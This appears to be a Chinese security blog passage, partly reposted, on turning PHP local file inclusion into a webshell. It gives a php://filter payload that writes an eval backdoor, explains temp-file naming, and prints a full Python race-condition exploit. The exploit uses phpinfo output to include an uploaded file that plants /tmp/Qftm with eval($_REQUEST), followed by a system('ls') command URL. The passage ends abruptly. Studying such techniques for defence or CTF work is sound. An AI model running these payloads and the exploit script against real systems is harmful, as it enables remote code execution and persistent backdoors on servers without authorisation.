<p> <code>zlib</code> 的 <code>zlib.deflate</code> 和 <code>zlib.inflate</code> ，组合使用压缩后再解压后内容肯定不变，不过我们可以在中间遍历一下剩下的几个过滤器，看看中间进行什么操作会影响后续 <code>inflate</code> 的内容，简单遍历一下可以发现中间插入 <code>string.tolower</code> 转后会把空格和 <code>exit</code> 处理了就可以绕过exit</p>
<pre><code>php://filter/zlib.deflate|string.tolower|zlib.inflate|?&gt;&lt;?php%0deval($_GET[1]);?&gt;/resource=shell.php
</code></pre>
<h4 id="爆破临时文件"><a href="#爆破临时文件" class="headerlink" title="爆破临时文件"></a>爆破临时文件</h4><p>先来看看 LFI 利用临时文件的 getshell 姿势。以下内容转载自： <a target="_blank" rel="noopener" href="https://www.anquanke.com/post/id/201136">https://www.anquanke.com/post/id/201136</a></p>
<p>侵删</p>
<h4 id="PHP-LFI"><a href="#PHP-LFI" class="headerlink" title="PHP LFI"></a>PHP LFI</h4><p>PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件，例如session文件、日志文件、临时文件等。但是，只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。</p>
<p>假如在服务器上找不到我们可以包含的文件，那该怎么办，此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件，该临时文件包含我们构造的的恶意代码，此时服务器就存在我们可以包含的文件。</p>
<p>目前，常见的两种临时文件包含漏洞利用方法主要是：    <code>PHPINFO()</code> and <code>PHP7 Segment Fault</code> ，利用这两种奇技淫巧可以向服务器上传文件同时在服务器上生成恶意的临时文件，然后将恶意的临时文件包含就可以达到任意代码执行效果也就可以拿到服务器权限进行后续操作。</p>
<h4 id="临时文件"><a href="#临时文件" class="headerlink" title="临时文件"></a>临时文件</h4><p>在了解漏洞利用方式的时候，先来了解一下PHP临时文件的机制</p>
<ul>
<li>全局变量</li>
</ul>
<p>在PHP中可以使用POST方法或者PUT方法进行文本和二进制文件的上传。上传的文件信息会保存在全局变量$_FILES里。</p>
<p>$_FILES超级全局变量很特殊，他是预定义超级全局数组中唯一的二维数组。其作用是存储各种与上传文件有关的信息，这些信息对于通过PHP脚本上传到服务器的文件至关重要。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable">$_FILES</span>[<span class="string">&#x27;userfile&#x27;</span>][<span class="string">&#x27;name&#x27;</span>] 客户端文件的原名称。</span><br><span class="line"><span class="variable">$_FILES</span>[<span class="string">&#x27;userfile&#x27;</span>][<span class="string">&#x27;type&#x27;</span>] 文件的 MIME 类型，如果浏览器提供该信息的支持，例如<span class="string">&quot;image/gif&quot;</span>。</span><br><span class="line"><span class="variable">$_FILES</span>[<span class="string">&#x27;userfile&#x27;</span>][<span class="string">&#x27;size&#x27;</span>] 已上传文件的大小，单位为字节。</span><br><span class="line"><span class="variable">$_FILES</span>[<span class="string">&#x27;userfile&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>] 文件被上传后在服务端储存的临时文件名，一般是系统默认。可以在php.ini的upload_tmp_dir 指定，默认是/tmp目录。</span><br><span class="line"><span class="variable">$_FILES</span>[<span class="string">&#x27;userfile&#x27;</span>][<span class="string">&#x27;error&#x27;</span>] 该文件上传的错误代码，上传成功其值为<span class="number">0</span>，否则为错误信息。</span><br><span class="line"><span class="variable">$_FILES</span>[<span class="string">&#x27;userfile&#x27;</span>][<span class="string">&#x27;tmp_name&#x27;</span>] 文件被上传后在服务端存储的临时文件名</span><br></pre></td></tr></table></figure>

<p>在临时文件包含漏洞中 <code>$_FILES[&#39;userfile&#39;][&#39;tmp_name&#39;]</code> 这个变量值的获取很重要，因为临时文件的名字都是由随机函数生成的，只有知道文件的名字才能正确的去包含它。</p>
<ul>
<li>存储目录</li>
</ul>
<p>文件被上传后，默认会被存储到服务端的默认临时目录中，该临时目录由 <code>php.ini</code> 的 <code>upload_tmp_dir</code> 属性指定，假如 <code>upload_tmp_dir</code> 的路径不可写，PHP会上传到系统默认的临时目录中。</p>
<p>不同系统服务器常见的临时文件默认存储目录，了解系统的默认存储路径很重要，因为在很多时候服务器都是按照默认设置来运行的。</p>
<pre><code>* Linxu系统服务的临时文件主要存储在根目录的tmp文件夹下，具有一定的开放权限。
* Windows系统服务的临时文件主要存储在系统盘Windows文件夹下，具有一定的开放权限。 C:/Windows/Temp/
</code></pre>
<ul>
<li>命名规则</li>
</ul>
<p>存储在服务器上的临时文件的文件名都是随机生成的，了解不同系统服务器对临时文件的命名规则很重要，因为有时候对于临时文件我们需要去爆破，此时我们必须知道它的命名规则是什么。</p>
<p>可以通过phpinfo来查看临时文件的信息。</p>
<ul>
<li>Linux Temporary File</li>
</ul>
<p>Linux临时文件主要存储在/tmp/目录下，格式通常是（/tmp/php[6个随机字符]）</p>
<ul>
<li>Windows Temporary File</li>
</ul>
<p>Windows临时文件主要存储在C:/Windows/目录下，格式通常是（C:/Windows/php[4个随机字符].tmp）</p>
<h4 id="PHPINFO特性"><a href="#PHPINFO特性" class="headerlink" title="PHPINFO特性"></a>PHPINFO特性</h4><p>通过上面的介绍，服务器上存储的临时文件名是随机的，这就很难获取其真实的文件名。不过，如果目标网站上存在phpinfo，则可以通过phpinfo来获取临时文件名，进而进行包含。</p>
<p>虽说这个漏洞出现的很早(2011年，国外的安全研究人员将这种攻击手法进行了公布)，不过这个技巧确实是个很经典的列子，不会被遗忘的。</p>
<h4 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h4><p>测试代码：</p>
<p>index.php</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line">    <span class="variable">$file</span>  = <span class="variable">$_GET</span>[<span class="string">&#x27;file&#x27;</span>];</span><br><span class="line">    <span class="keyword">include</span>(<span class="variable">$file</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure>

<p>phpinfo.php:</p>
<pre><code>&lt;?php phpinfo();?&gt;
</code></pre>
<h4 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>当我们在给PHP发送POST数据包时，如果数据包里包含文件区块，无论你访问的代码中有没有处理文件上传的逻辑，PHP都会将这个文件保存成一个临时文件。文件名可以在$_FILES变量中找到。这个临时文件，在请求结束后就会被删除。</p>
<p>利用phpinfo的特性可以很好的帮助我们，因为phpinfo页面会将当前请求上下文中所有变量都打印出来，所以我们如果向phpinfo页面发送包含文件区块的数据包，则即可在返回包里找到$_FILES变量的内容，拿到临时文件变量名之后，就可以进行包含执行我们传入的恶意代码。</p>
<h4 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h4><ul>
<li><p>利用条件</p>
<p>  无   PHPINFO的这种特性源于php自身，与php的版本无关</p>
</li>
<li><p>测试脚本</p>
</li>
</ul>
<p>编写脚本，上传文件探测是否存在phpinfo包含临时文件的信息。</p>
<figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line"></span><br><span class="line">files = &#123;</span><br><span class="line">  <span class="string">&#x27;file&#x27;</span>: (<span class="string">&quot;aa.txt&quot;</span>,<span class="string">&quot;ssss&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">url = <span class="string">&quot;http://x.x.x.x/phpinfo.php&quot;</span></span><br><span class="line">r = requests.post(url=url, files=files, allow_redirects=<span class="literal">False</span>)</span><br><span class="line"><span class="keyword">print</span>(r.text)</span><br></pre></td></tr></table></figure>

<p>运行脚本向服务器发出请求可以看到回显中有如下内容</p>
<p>linux:</p>
<p><img src="https://s1.ax1x.com/2020/10/01/0MVRwn.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0MVRwn.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0MVRwn.png"></p>
<p>windows：</p>
<p><img src="https://s1.ax1x.com/2020/10/01/0MZSSO.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0MZSSO.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0MZSSO.png"></p>
<ul>
<li>利用原理</li>
</ul>
<p>验证了phpinfo的特性确实存在，所以在文件包含漏洞找不到可利用的文件时，我们就可以利用这一特性，找到并提取临时文件名，然后包含之即可Getshell。</p>
<p>但文件包含漏洞和phpinfo页面通常是两个页面，理论上我们需要先发送数据包给phpinfo页面，然后从返回页面中匹配出临时文件名，再将这个文件名发送给文件包含漏洞页面，进行getshell。在第一个请求结束时，临时文件就被删除了，第二个请求自然也就无法进行包含。</p>
<ul>
<li>利用过程</li>
</ul>
<p>这个时候就需要用到条件竞争，具体原理和过程如下：</p>
<p>（1）发送包含了webshell的上传数据包给phpinfo页面，这个数据包的header、get等位置需要塞满垃圾数据</p>
<p>（2）因为phpinfo页面会将所有数据都打印出来，1中的垃圾数据会将整个phpinfo页面撑得非常大</p>
<p>（3）php默认的输出缓冲区大小为4096，可以理解为php每次返回4096个字节给socket连接</p>
<p>（4）所以，我们直接操作原生socket，每次读取4096个字节。只要读取到的字符里包含临时文件名，就立即发送第二个数据包</p>
<p>（5）此时，第一个数据包的socket连接实际上还没结束，因为php还在继续每次输出4096个字节，所以临时文件此时还没有删除</p>
<p>（6）利用这个时间差，第二个数据包，也就是文件包含漏洞的利用，即可成功包含临时文件，最终getshell</p>
<p>（参考ph牛：<a target="_blank" rel="noopener" href="https://github.com/vulhub/vulhub/tree/master/php/inclusion">https://github.com/vulhub/vulhub/tree/master/php/inclusion</a> ）</p>
<h4 id="getshell"><a href="#getshell" class="headerlink" title="getshell"></a>getshell</h4><p>利用ph牛的代码，不用重复的造轮子，直接更改脚本主要的几个地方就可以成功运行利用，如上传的恶意文件内容、phpinfo.php和index.php相应文件的文件名和位置、系统临时文件写入目录等</p>
<p>exp.py:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment">#python version 2.7</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> sys</span><br><span class="line"><span class="keyword">import</span> threading</span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">setup</span>(<span class="params">host, port</span>):</span></span><br><span class="line">    TAG = <span class="string">&quot;Security Test&quot;</span></span><br><span class="line">    PAYLOAD = <span class="string">&quot;&quot;&quot;%sr</span></span><br><span class="line"><span class="string">&lt;?php file_put_contents(&#x27;/tmp/Qftm&#x27;, &#x27;&lt;?php eval($_REQUEST[Qftm])?&gt;&#x27;)?&gt;r&quot;&quot;&quot;</span> % TAG</span><br><span class="line">    <span class="comment"># PAYLOAD = &quot;&quot;&quot;%sr</span></span><br><span class="line">    <span class="comment"># &lt;?php file_put_contents(&#x27;/var/www/html/Qftm.php&#x27;, &#x27;&lt;?php eval($_REQUEST[Qftm])?&gt;&#x27;)?&gt;r&quot;&quot;&quot; % TAG</span></span><br><span class="line">    REQ1_DATA = <span class="string">&quot;&quot;&quot;-----------------------------7dbff1ded0714r</span></span><br><span class="line"><span class="string">Content-Disposition: form-data; name=&quot;dummyname&quot;; filename=&quot;test.txt&quot;r</span></span><br><span class="line"><span class="string">Content-Type: text/plainr</span></span><br><span class="line"><span class="string">r</span></span><br><span class="line"><span class="string">%s</span></span><br><span class="line"><span class="string">-----------------------------7dbff1ded0714--r&quot;&quot;&quot;</span> % PAYLOAD</span><br><span class="line">    padding = <span class="string">&quot;A&quot;</span> * <span class="number">5000</span></span><br><span class="line">    REQ1 = <span class="string">&quot;&quot;&quot;POST /phpinfo.php?a=&quot;&quot;&quot;</span> + padding + <span class="string">&quot;&quot;&quot; HTTP/1.1r</span></span><br><span class="line"><span class="string">Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=&quot;&quot;&quot;</span> + padding + <span class="string">&quot;&quot;&quot;r</span></span><br><span class="line"><span class="string">HTTP_ACCEPT: &quot;&quot;&quot;</span> + padding + <span class="string">&quot;&quot;&quot;r</span></span><br><span class="line"><span class="string">HTTP_USER_AGENT: &quot;&quot;&quot;</span> + padding + <span class="string">&quot;&quot;&quot;r</span></span><br><span class="line"><span class="string">HTTP_ACCEPT_LANGUAGE: &quot;&quot;&quot;</span> + padding + <span class="string">&quot;&quot;&quot;r</span></span><br><span class="line"><span class="string">HTTP_PRAGMA: &quot;&quot;&quot;</span> + padding + <span class="string">&quot;&quot;&quot;r</span></span><br><span class="line"><span class="string">Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r</span></span><br><span class="line"><span class="string">Content-Length: %sr</span></span><br><span class="line"><span class="string">Host: %sr</span></span><br><span class="line"><span class="string">r</span></span><br><span class="line"><span class="string">%s&quot;&quot;&quot;</span> % (<span class="built_in">len</span>(REQ1_DATA), host, REQ1_DATA)</span><br><span class="line">    <span class="comment"># modify this to suit the LFI script</span></span><br><span class="line">    LFIREQ = <span class="string">&quot;&quot;&quot;GET /index.php?file=%s HTTP/1.1r</span></span><br><span class="line"><span class="string">User-Agent: Mozilla/4.0r</span></span><br><span class="line"><span class="string">Proxy-Connection: Keep-Aliver</span></span><br><span class="line"><span class="string">Host: %sr</span></span><br><span class="line"><span class="string">r</span></span><br><span class="line"><span class="string">r</span></span><br><span class="line"><span class="string">&quot;&quot;&quot;</span></span><br><span class="line">    <span class="keyword">return</span> (REQ1, TAG, LFIREQ)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">phpInfoLFI</span>(<span class="params">host, port, phpinforeq, offset, lfireq, tag</span>):</span></span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"></span><br><span class="line">    s.connect((host, port))</span><br><span class="line">    s2.connect((host, port))</span><br><span class="line"></span><br><span class="line">    s.send(phpinforeq)</span><br><span class="line">    d = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="built_in">len</span>(d) &lt; offset:</span><br><span class="line">        d += s.recv(offset)</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        i = d.index(<span class="string">&quot;[tmp_name] =&amp;gt; &quot;</span>)</span><br><span class="line">        fn = d[i + <span class="number">17</span>:i + <span class="number">31</span>]</span><br><span class="line">    <span class="keyword">except</span> ValueError:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">    s2.send(lfireq % (fn, host))</span><br><span class="line">    d = s2.recv(<span class="number">4096</span>)</span><br><span class="line">    s.close()</span><br><span class="line">    s2.close()</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> d.find(tag) != -<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> fn</span><br><span class="line"></span><br><span class="line">counter = <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ThreadWorker</span>(<span class="params">threading.Thread</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self, e, l, m, *args</span>):</span></span><br><span class="line">        threading.Thread.__init__(self)</span><br><span class="line">        self.event = e</span><br><span class="line">        self.lock = l</span><br><span class="line">        self.maxattempts = m</span><br><span class="line">        self.args = args</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">run</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">global</span> counter</span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">not</span> self.event.is_set():</span><br><span class="line">            <span class="keyword">with</span> self.lock:</span><br><span class="line">                <span class="keyword">if</span> counter &gt;= self.maxattempts:</span><br><span class="line">                    <span class="keyword">return</span></span><br><span class="line">                counter += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                x = phpInfoLFI(*self.args)</span><br><span class="line">                <span class="keyword">if</span> self.event.is_set():</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">                <span class="keyword">if</span> x:</span><br><span class="line">                    <span class="built_in">print</span> <span class="string">&quot;nGot it! Shell created in /tmp/Qftm.php&quot;</span></span><br><span class="line">                    self.event.<span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line">            <span class="keyword">except</span> socket.error:</span><br><span class="line">                <span class="keyword">return</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getOffset</span>(<span class="params">host, port, phpinforeq</span>):</span></span><br><span class="line">    <span class="string">&quot;&quot;&quot;Gets offset of tmp_name in the php output&quot;&quot;&quot;</span></span><br><span class="line">    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">    s.connect((host, port))</span><br><span class="line">    s.send(phpinforeq)</span><br><span class="line"></span><br><span class="line">    d = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        i = s.recv(<span class="number">4096</span>)</span><br><span class="line">        d += i</span><br><span class="line">        <span class="keyword">if</span> i == <span class="string">&quot;&quot;</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">        <span class="comment"># detect the final chunk</span></span><br><span class="line">        <span class="keyword">if</span> i.endswith(<span class="string">&quot;0rnrn&quot;</span>):</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    s.close()</span><br><span class="line">    i = d.find(<span class="string">&quot;[tmp_name] =&amp;gt; &quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> i == -<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">raise</span> ValueError(<span class="string">&quot;No php tmp_name in phpinfo output&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;found %s at %i&quot;</span> % (d[i:i + <span class="number">10</span>], i)</span><br><span class="line">    <span class="comment"># padded up a bit</span></span><br><span class="line">    <span class="keyword">return</span> i + <span class="number">256</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;LFI With PHPInfo()&quot;</span></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;-=&quot;</span> * <span class="number">30</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) &lt; <span class="number">2</span>:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;Usage: %s host [port] [threads]&quot;</span> % sys.argv[<span class="number">0</span>]</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        host = socket.gethostbyname(sys.argv[<span class="number">1</span>])</span><br><span class="line">    <span class="keyword">except</span> socket.error, e:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;Error with hostname %s: %s&quot;</span> % (sys.argv[<span class="number">1</span>], e)</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    port = <span class="number">80</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        port = <span class="built_in">int</span>(sys.argv[<span class="number">2</span>])</span><br><span class="line">    <span class="keyword">except</span> IndexError:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">except</span> ValueError, e:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;Error with port %d: %s&quot;</span> % (sys.argv[<span class="number">2</span>], e)</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    poolsz = <span class="number">10</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        poolsz = <span class="built_in">int</span>(sys.argv[<span class="number">3</span>])</span><br><span class="line">    <span class="keyword">except</span> IndexError:</span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    <span class="keyword">except</span> ValueError, e:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;Error with poolsz %d: %s&quot;</span> % (sys.argv[<span class="number">3</span>], e)</span><br><span class="line">        sys.exit(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;Getting initial offset...&quot;</span>,</span><br><span class="line">    reqphp, tag, reqlfi = setup(host, port)</span><br><span class="line">    offset = getOffset(host, port, reqphp)</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">    maxattempts = <span class="number">1000</span></span><br><span class="line">    e = threading.Event()</span><br><span class="line">    l = threading.Lock()</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;Spawning worker pool (%d)...&quot;</span> % poolsz</span><br><span class="line">    sys.stdout.flush()</span><br><span class="line"></span><br><span class="line">    tp = []</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, poolsz):</span><br><span class="line">        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> t <span class="keyword">in</span> tp:</span><br><span class="line">        t.start()</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">while</span> <span class="keyword">not</span> e.wait(<span class="number">1</span>):</span><br><span class="line">            <span class="keyword">if</span> e.is_set():</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">with</span> l:</span><br><span class="line">                sys.stdout.write(<span class="string">&quot;r% 4d / % 4d&quot;</span> % (counter, maxattempts))</span><br><span class="line">                sys.stdout.flush()</span><br><span class="line">                <span class="keyword">if</span> counter &gt;= maxattempts:</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">        <span class="built_in">print</span></span><br><span class="line">        <span class="keyword">if</span> e.is_set():</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;Woot!  m/&quot;</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="built_in">print</span> <span class="string">&quot;:(&quot;</span></span><br><span class="line">    <span class="keyword">except</span> KeyboardInterrupt:</span><br><span class="line">        <span class="built_in">print</span> <span class="string">&quot;nTelling threads to shutdown...&quot;</span></span><br><span class="line">        e.<span class="built_in">set</span>()</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;Shuttin&#x27; down...&quot;</span></span><br><span class="line">    <span class="keyword">for</span> t <span class="keyword">in</span> tp:</span><br><span class="line">        t.join()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>



<p>运行脚本Getshell</p>
<p>修改脚本之后，运行即可包含生成我们精心设置好的/tmp/Qftm后门文件</p>
<p><img src="https://s1.ax1x.com/2020/10/01/0MeP3T.png" class="lazyload placeholder" data-srcset="https://s1.ax1x.com/2020/10/01/0MeP3T.png" srcset="https://img10.360buyimg.com/ddimg/jfs/t1/157667/29/9156/134350/603c6445Ebbc9cabe/41219c5d36d45072.gif" alt="0MeP3T.png"></p>
<p>拿到RCE之后，可以查看tmp下生成的后门文件</p>
<pre><code>http://192.33.6.145/index.php?file=/tmp/Qftm&amp;Qftm=system(%27ls%20/tmp/%27)
</code></pre>
<h4 id="php7-Segment-Fault"><a href="#php7-Segment-Fault" class="headerlink" title="php7 Segment Fault"></a>php7 Segment Fault</h4><h4 id="利用条件"><a href="#利用条件" class="headerlink" title="利用条件"></a>利用条件</h4><pre><code>7.0.0 &lt;= PHP Version &lt; 7.0.28
</code></pre>
<h4 id="漏洞分析-1"><a href="#漏洞分析-1" class="headerlink" title="漏洞分析"></a>漏洞分析</h4><p>在上面包含姿势中提到的包含临时文件，需要知道phpinfo同时还需条件竞争，但如果没有phpinfo的存在，我们就很难利用上述方法去getshell。</p>
<p>那么如果目标不存在phpinfo，应该如何处理呢？这里可以用 <code>php7 segment fault</code> 特性（<a target="_blank" rel="noopener" href="https://bugs.php.net/bug.php?id=75535">CVE-2018-14884</a>）进行Bypass。</p>
<p>php代码中使用php://filter的过滤器strip_tags , 可以让 php 执行的时候直接出现 <code>Segment Fault</code> (段故障) , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不想phpinfo那样上传的文件很快就会被删除，这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。</p>
<h4 id="漏洞修复"><a href="#漏洞修复" class="headerlink" title="漏洞修复"></a>漏洞修复</h4><p>官方在PHP Version 7.0.28时已经修复该漏洞</p>
<p><a target="_blank" rel="noopener" href="https://www.php.net/ChangeLog-7.php">https://www.php.net/ChangeLog-7.php</a></p>
<p>….</p>
<p>还是直接看这里把。。。。。</p>
